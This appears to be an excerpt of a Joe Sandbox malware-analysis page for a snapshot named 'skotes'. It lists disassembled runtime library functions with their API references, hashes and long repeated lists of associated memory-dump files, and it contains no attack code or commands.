Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 7c04d100ed3e4f95bebbc1beadc8190aa401e16ab46263f2e04978fa92b2d293
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 4B310631B0825FAEDF16AAB848927FEFBB99F85300F0445A9D486D7242DA244DCDC3D1

Function 00924840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00924877
___except_validate_context_record.LIBVCRUNTIME ref: 0092487F
_ValidateLocalCookies.LIBCMT ref: 00924908
__IsNonwritableInCurrentImage.LIBCMT ref: 00924933
_ValidateLocalCookies.LIBCMT ref: 00924988

Strings

csm, xrefs: 0092491D

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 2bc498cd981d7ae2556f1af8f3a4a693f82eebe942bbe6022166a003b6deacd7
Instruction ID: d5decbbc84ba65bb9925836a61acd339252b537e469846150f62979de837efa7
Opcode Fuzzy Hash: 2bc498cd981d7ae2556f1af8f3a4a693f82eebe942bbe6022166a003b6deacd7
Instruction Fuzzy Hash: 3841F634A10228AFCF10DF68E884B9EBBB8BF85718F148155F8185B39AD731DA55CF91

Function 0091DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0091DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0091DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0091DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0091DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0091DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0091DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0091DE74

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: a668584755ae93eaea6cb90b2c4ae94670aa99776649b661173645c7a175852a
Instruction ID: 4ca7c9813405002708dbb9de62608bd9b2bf8af757cceb88c0d637389db3cc1f
Opcode Fuzzy Hash: a668584755ae93eaea6cb90b2c4ae94670aa99776649b661173645c7a175852a
Instruction Fuzzy Hash: 9B41AD30B0624C9ADF19EBA485557ED77A96F91304F1444A8E8916F2C3CB388E88CB62

Function 0091E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0091E7D7

Part of subcall function 0091E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0091E577
Part of subcall function 0091E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0091E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0091E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0091E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0091E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0091E879
Concurrency::location::_Assign.LIBCMT ref: 0091E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0091E8B5

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: d51a9ba79052fe64041a24b9880775bef393badaff7472a530422521f276d743
Instruction ID: aeae99587441af96f541138be2823c62aaebbc4602ab6949996f5c7d3a7ed7f4
Opcode Fuzzy Hash: d51a9ba79052fe64041a24b9880775bef393badaff7472a530422521f276d743
Instruction Fuzzy Hash: C0411A79B002199FDF05EF64C495BADB7B9FF88310F1480A9DD499B382DB70A981CB91

Function 00906E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00906ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00906F22
std::_Rethrow_future_exception.LIBCPMT ref: 00906F32
__Mtx_unlock.LIBCPMT ref: 00906FD5
__Mtx_unlock.LIBCPMT ref: 009070DB
__Mtx_unlock.LIBCPMT ref: 00907116

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 0ff72a05860f06cdd5d1d55007b0fd4e6e70707770b154af09b2b5c4661a88b9
